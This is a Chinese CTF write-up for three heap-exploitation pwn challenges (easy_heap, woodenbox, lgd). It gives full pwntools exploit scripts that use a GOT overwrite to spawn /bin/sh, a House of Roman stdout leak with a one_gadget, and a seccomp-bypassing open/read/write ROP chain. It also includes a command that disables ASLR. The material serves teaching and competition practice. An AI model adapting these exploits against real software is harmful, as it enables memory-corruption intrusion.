专栏首页Gcow安全团队高校战“疫”网络安全分享赛-部分PWN题-wp

高校战“疫”网络安全分享赛-部分PWN题-wp

高校战“疫”网络安全分享赛-部分PWN题-wp

1.本文由复眼小组的RGDZ师傅原创
2.本文共3500字,图片30张 预计阅读时间10分钟
3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!

0x00.前言:

周末打了下 《高校战“疫”网络安全分享赛》,作为WEBPWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。

0x01.easy_heap:

1.函数分析

这道题比较简单,checksec如下:

图片1 checksec

main函数如下:

图片2 easy_heap_main

del函数可以发现指针已经清0

图片3 easy_heap_del

add函数如下:

图片4 easy_heap_add

我们可以发现,其现申请的ptr指针然后再给其赋值,如果我们申请的时候,输入大于0x400size,虽然函数退出,但是实际上ptr[i]里面已经有指针了,而且上面的del函数释放时并没有给size清空,漏洞点就在这里

2.思路简述:

我们可以现申请一个0x600x70fastbin,然后释放掉,此时fastbin的链表如下:

图片5 easy_heap_add的fastbin链表

之后我们再add(0x500)一下,ptr[0]就等于第一个fastbin,同时其fd指针还保留了留在0x1552000也就是第二个fastbin的指针地址,所以这个时候我们编译ptr[0]也就是编辑第二个fastbin,之后我们可以在add(0x20)一下,add(0x50)把第二个bin拿出来,同时拿到ptr[2]之后我们编辑ptr[0]实际上就可以控制ptr[1], 现在ptr的堆栈情况如下:

图片6 ptrs

所以我们编辑ptr[0]来使得ptr[1]的指针变成170也就是ptr[2],(注:这里地址不一样是因为我本地开了ASLR,我是在脚本里面直接下的断点,但后三位偏移是一样的。)所以当我们在去编辑ptr[1]时实际上就是在编辑ptr[2]chunk,如图:

图片7 ptrs2

由于程序没有开启got保护,而且题目没有给出输出函数,所以我们可以先想办法泄露,我们可以先通过ptr[1]修改ptr[2]的指针指向free_got,在通过编辑ptr[2]来修改free_gotputs_plt,在回去编辑ptr[1]来修改ptr[2]atoi_got,这样当我们free掉ptr[2]后,就能泄露atoi的地址,计算出libc基地址,我们在通过编辑ptr[0]来使得ptr[1]指向atoi_got,在编辑ptr[1]来修改atoi_gotsystem的地址,这样下一次输入时输入/bin/sh就可以getshell了。

3.完整EXP:

from pwn import *

context.log_level = "debug"

io = process("easyheap")
# io = remote("121.36.209.145", 9997)
elf = ELF('easyheap')
libc = ELF("libc.so.6")

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendlineafter("How long is this message?", str(size))
    io.sendafter("What is the content of the message?", buf)

def free(idx):
    c(2)
    io.sendlineafter("What is the index of the item to be deleted?", str(idx))

def edit(idx, buf):
    c(3)
    io.sendlineafter("What is the index of the item to be modified?", str(idx))
    io.sendafter("What is the content of the message?", buf)


add(0x60, '\x00')
add(0x70, '\x00')

free(0)
free(1)

c(1)
io.sendlineafter("How long is this message?", str(0x500))
add(0x20, '\xaa')
add(0x50, '\xaa')

buf = p64(0)
buf += p64(0x21)
buf += '\x70'    #fix    
edit(0, buf)
attach(io)

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

free(2)
io.recv()
atoi_addr = u64(io.recv(6)+"\x00\x00")
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
log.info("libcbase: 0x%x"%libcbase)
log.info("system addr: 0x%x"%system_addr)

# 2 is 0 so fix 1
buf = p64(0)
buf += p64(0x21)
buf += p64(elf.got['atoi'])    #fix  atoi to system
buf += p64(0x500)
edit(0, buf)

edit(1, p64(system_addr))

io.recv()
io.sendline("/bin/sh")
io.interactive()

0x02.woodenbox:

这题的提示很明显,基本就是Roman,但这次我脸太黑,爆破一晚上,没跑出flag,最后查略资料发现Roman其使用在fastbin attack环节先去攻击stderr+157这个地址,这个偏移是固定,在2.23版本的libc中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露,这样就能把原先Roman的攻击概率从1/4096,提高到1/16,成功率大大提高,这里以这道题来实例分析一下流程。

1.函数分析:

add函数如下:

图片8 woodenbox_add

edit函数如下,这里可以发现很明显的堆溢出了,重新输入了size,但并没有重新申请chunk

图片9 woodenbox_edit

remove函数如下:

图片10 woodenbox_remove

这里会比较绕,作者用了一个items,一个ptrs同时控制数据数组,实际上我们一看地址就清楚了,如图,itemsptrs的地址:

图片11 items_ptrs_addr

这里实际上items是指向第一个数据块的size,ptrs指向第一个数据块的ptr,所以可以定义如下结构:

图片12 item_ptr_struct

这样看着就清楚多了,这还有一个点比较坑,作者移除数据块是非正常移动,在把items[i]置为0后,就开始往上移动,items[0]块相当于消失,下方的块上移一次,所以控制chunk下标时要注意,同时最后一个块也就是item[11]并不会消失,除非主动删除他

2.思路简述:

在调试这题时我们可以先关闭aslr随机化

echo 0 > /proc/sys/kernel/randomize_va_space

我们依然先使用Roman开题手法,先拿到一个unsorted bin 然后通过上一个chunk溢出来覆盖size域和fd后4位,其中第一位需要爆破也就在这里 当我们完成unsorted bin覆盖size域后其在fastbin里面)的fd覆盖后,如图:

图片13 bins

我们最后四位覆盖为"\x25\xdd"这个偏移是2.23libc是固定的,我们fastbin attack后可以拿到stderr+173其目的是为了控制stderr+221实际上就是覆盖stdout结构体中_IO_write_base,如图:

图片14 stdout1

关于stdout的更多细节可以参考:

•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057

这样就可以进行泄露对了覆盖是我们还多覆盖了"\x00",这样就可以使得其输出一个0x7ffff7dd2600这里我们将a3变成00这样可以截断输出,0xffff7dd2600实际上是stderr+192,如图:

图片15 stdout2

完成上面步骤我们就成功泄露了libc基地址,接着就可以直接改malloc_hook为one_gadget,最后触发malloc_printerrgetshell,题目已经在leave给出:

图片16 leave

3.完整EXP如下:

from pwn import *

context.log_level = "debug"

# io = process("./woodenbox2")

elf = ELF('./woodenbox2')
libc = ELF('./libc.so')

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendafter("Please enter the length of item name:", str(size))
    io.sendlineafter("Please enter the name of item:", buf)

def edit(idx, buf):
    c(2)
    io.sendlineafter("Please enter the index of item:", str(idx))
    io.sendafter("Please enter the length of item name:", str(len(buf)))
    io.sendafter("Please enter the new name of the item:", buf)

def free(idx):
    c(3)
    io.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x20, '') # 0
    add(0x20, '') # 1
    add(0x60, '') # 2
    add(0x60, '') # 3
    add(0x60, '') # 4
    add(0x60, '') # 5
    add(0x80, '') # 6 #unsort bin
    add(0x60, '') # 7 
    add(0x60, '') # 8 
    add(0x60, '') # 9 
    # add(0x80, '') # 10
    add (0x20, '')  # free
    add(0x60, '') # 11

    free(6) # 
    free(6)
    free(2)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += "\x20"
    edit(0, buf)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf +=  p16(0x25dd) # stderr+157
    edit(2, buf)

    attach(io)

    add(0x60, '')
    add(0x60, '')
    add(0x60, '')   # stderr+157

    # attack stdout
    buf = '\x00'*0x33
    buf += p64(0xfbad2887|0x1000)
    buf += p64(0)*3+'\x00'
    edit(4, buf)            # leak _IO_2_1_stdout_+131

    # leak libcbase
    stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("stdout_a: 0x%x"%stdout_a)
    libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192
    log.success("libcbase: 0x%x"%libc.address)

    free(6)
    # malloc_hook_near = "\xed\x1a"
    malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)
    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += malloc_hook_near
    edit(4, buf)    #fix fastbin and attack malloc-0x23

    # attack malloc
    free(6)
    free(6)
    add(0x60, '')
    add(0x60, '')   
    add(0x60, '') # malloc_hook -0x13
    #fix fastbin

    free(3)
    edit(5, p64(0))


    # # unsorted bin attack
    # buf = '\x00'*0x68
    # buf += p64(0x90)
    # buf += p64(0)
    # buf += "\x00"
    # edit(1, buf)
    # add(0x80, '')

    # attack get shell
    one_gadget = libc.address + 0xf02a4
    # one_gadget = p64(one_gadget)[:3]
    buf = '\x00'*0x13
    buf += p64(one_gadget)
    edit(4, buf)

    # gdb.attach(io)
    c(4)
    io.interactive()

for i in range(200):
    try:
        # io = remote("121.36.215.224", 9998)
        io = process("./woodenbox2")
        pwn()
    except:
        print(i)

0x03.lgd:

这题说句实话,感觉就是出题人有点恶心

首先开了一个BCF(虚假控制流)

图片17 BCF

图片18 checksec

一看有点吓人,实际上我当时想去除这种混淆,但之前没有好好研究过这种混淆,参考了看雪的这篇帖子:

•Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

但是没有成功,不过不影响。

1.函数分析:

我们仅仅关注关键点:

add函数中:

图片19 add1

第一处其申请一个size<0x1000的chunk放在buf[i],i最大是32

图片20 add2

第二处将输入的字符的长度赋值到size

图片21 add3

第三处将size放入sizes[i]

del函数关键如下:

图片22 del1

释放buf[i]

图片23 del2

这里b, c都是bss段上的常量,而且默认都是0,这种BCF混淆的一种手法,整个程序没有一个地方堆b,c进行赋值,所以这里就是将buf[i]清0

edit函数如下:

图片24 edit

这里的size实际上我们在add函数时输入字符的长度,所以这里就是一个典型的堆溢出

show函数如下:

图片25 show

这里可以进行泄露

2.思路简述:

我们首先利用unsorted bin进行泄露拿到libc基地址,之后原本以为就正常的fastbin attack改hook get_shell,但打了半天打不通后才发现其开了函数禁用

图片26 seccomp-tools

所以这里我们得想办法绕过,典型的orwopen read write就是构造shellcode或者rop链来执行open函数打开文件,read读取内容,write函数输出

这里没有可执行的区域,所以我选择构造rop链,这里可以参考安全客的这篇文章

•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14

实际简单的说就是先泄露libcenviron变量的值计算偏移得到main函数的rbp地址然后将rop链写入栈中,当main函数执行后退出后就能劫持程序执行流,比较常规的操作

计算main函数rbp的偏移可以使用文章用的

图片27 environ_main_rbp

可以计算出偏移为0xf8

那么我们怎么才能泄露environ以及往栈里面写rop链呢?

图片28 sizes_buf_addr

我们发现sizes距离buf很近仅仅0x80的字节,而且sizes[i]buf[i]中chunk的真实size并无联系可以借此溢出,所以我们可以多构造几个sizes[i]0x7F这样就能轻松控制buf的内容,从而实现任意地址写,和任意地址读(构造的rop链可以参考安全客的文章)

但是当我向main函数的返回地址,也就是rbp的地址写入rop链后程序并没去执行rop,我才注意到main函数并非直接返回,而是执行exit(0)直接退出,但这样我们就不能执行rop链,此处多次思考无果,后有师傅说去劫持eixt函数,这里参考安全客的这篇文章

•详解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859

但我实际去劫持的时候失败了,这里回头在实验实验,然后还有师傅说利用SROP,修改free_hookcontext然后将bss段改为可执行,写入shellcode的执行,额,哇靠有点操作难度,感觉比较复杂,那么有没有在简单的方法呢?实际还有,我们注意edit函数,这里在看一下

图片29 edit2

我们发现其向buf[i]写完东西以后就直接退出了,所以我们是否可以去劫持他的返回地址而不是main函数的返回地址呢?

答案是可行的,我们来看一下他的偏移

图片30 edit_rbp

经过计算发现其偏移等于main_rbp-0x130也就是environ-0x228

所以我们这一次将目标地址写入这里,在写入之前注意我们需要再申请一块chunk,主要目的是使得sizes[i]的大小足够我们写入rop链,这里申请0x200好了

3.完整EXP如下:

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"

io = process("./pwn")
# io = remote("121.36.209.145", 9998)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def init():
    name = "wo si n baba!!!!,sb chu ti ren"
    io.sendafter("son call babaaa,what is your name? ", name)

def c(idx):
    io.sendlineafter(">> ", str(idx))

def add(size, real_size=0x7E):
    c(1)
    io.sendlineafter("______?", str(size))
    io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))

def free(idx):
    c(2)
    io.sendlineafter("index ?", str(idx))

def show(idx):
    c(3)
    io.sendlineafter("index ?", str(idx))

def edit(idx, buf):
    c(4)
    io.sendlineafter("index ?", str(idx))
    io.sendafter("___c___r__s__++___c___new_content ?", buf)

init()
add(0x80)
add(0x20)

free(0)

add(0x80)
show(0)

main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))
libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)
libc.address = libc_addr
log.success(hex(libc.address))

add(0x10)
add(0x60)
add(0x10)

#attack bss
free(3)
buf = "\x00"*0x18
buf += p64(0x71)
buf += p64(0x603268) #0
edit(2, buf)

add(0x60)
add(0x60) # 5

# leak environ
buf = '\x00'*0x68
buf += p64(libc.symbols['environ'])
edit(5, buf)
show(0)
environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))
log.success("environ: 0x%x"%environ)

free(1)
add(0x80, 0x200)

io.recv()
# attack stack and malloc_hook
main_rbp_addr = environ - 0xf8
malloc_hook_addr = libc.symbols['__malloc_hook']
log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)
buf = '\x00'*0x60
buf +=  "flag".ljust(8, "\x00")
buf += p64(0) # 0
buf += p64(main_rbp_addr-0x130)   # 1

edit(5, buf)

layout = [
    # "flagx00x00x00x00", # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret

    0x00000000004023b3, # : pop rdi ; ret
    0x603268+0x70,       # stack_addr - 0xf8,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x0000000000033544, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000001077F5, # : syscall ; ret

    0x00000000004023b3, # : pop rdi ; ret
    3,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # : pop rdx ; ret
    0x100,
    elf.plt['read'],

    0x00000000004023b3, # pop rdi
    1,
    0x00000000004023b1, # pop rsi
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # pop rdx
    0x50,

    libc_addr + 0x0000000000033544, # pop eax
    1,
    libc_addr + 0x00000000001077F5, #syscall

    elf.plt['exit']
]

c(4)
io.sendlineafter("index ?", str(1))
# attach(io)
io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))
io.interactive()

0x04.总结:

这次虽然只做出了3道题,但还是学到很多姿势,特别最后一道,就感觉知识迁移能力很重要,以及做题的时候很多需要灵活应变,感觉收获还是满满的,期待大佬们其他题的WP.还请各位大佬多多担待,有什么新的想法欢迎在公众号的后台留言提出。

0x05.参考文章:

•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057•Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14•详解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859

本文分享自微信公众号 - Gcow安全团队(Gcow666),作者:复眼小组

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Bayonet-一体化的资产管理系统

    Github地址:https://github.com/CTF-MissFeng/bayonet

    Gcow安全团队
  • VulnHub通关日记-Mr-Robot-1-Nmap提权获取Flag

    靶机介绍:根据演练,机器人先生。此VM具有隐藏在不同位置的三个Key。您的目标是找到全部三个。每个Key逐渐难以找到。该级别被认为是初学者-中级。 下载地址:h...

    Gcow安全团队
  • 内网渗透靶机-VulnStack 1

    靶机是红日团队开源的一个靶机,靠着这个环境学习到了很多啊哈哈哈!现在自己也是会搭建一些环境了!也是靠着这个靶机从0开始学内网,了解内网渗透,虽然很菜很菜很菜!靶...

    Gcow安全团队
  • 如何设计完善的构建系统,为日常开发提速一倍

    在搭建开发环境的构建系统时,我们关注二点: 提高效率,对于大部分事务的自动化,如自动编译代码、自动重启服务。 代码质量,编码完成时,我们则转而关注于代码的质量。...

    Phodal
  • 探秘|揭秘阿里200亿投资的张北数据中心

    阿里张北数据中心未来将成为阿里各项核心业务在北方最重要的基础设施。阿里巴巴CTO张建锋表示,在今年的双11狂欢节中,阿里张北数据中心也将迎来不眠夜,和全球一起...

    灯塔大数据
  • 移动APP的IM后台架构浅析

    IM(InstantMessaging 即时通讯)作为一项基础功能,很多APP都有,比如:手机QQ、微信、易信、钉钉、飞信、旺旺、咚咚、陌陌等。而IM如同我们日...

    meteoric
  • 提高GIT中代码质量的七点优秀实践

    毋庸置疑,由于Git允许开发人员能够同时在相同的代码库上工作,因此它在各类软件开发中起到了重要的作用。不过,我们也发现部分开发人员由于未能遵循Git的相关最佳实...

    Java帮帮
  • Pyechart入门

    pyecharts是一个用于生成echarts图表的类库。echarts是百度开源的一个数据可视化库,用echarts生成的图可视化效果非常棒。使用pyecha...

    潇洒坤
  • 移动应用性能测试工具—PerfDog

    当前移动设备越来越多地涌现在我们日常生活中,人们通过移动设备可以高效地完成很多事,比如网络购物、充值缴费、新闻资讯、理财等。随着中国IT、互联网的发展和市场的不...

    用户5521279
  • Movement Disorders脑电格兰杰因果分析:运动皮质在帕金森病复发性震颤中的作用

    帕金森患者在手臂伸展时可能会出现不同程度的复发性震颤。来自罗马大学的Alfredo Berardelli等人在Movement Disorders发文,旨在探讨...

    用户1279583

扫码关注云+社区

领取腾讯云代金券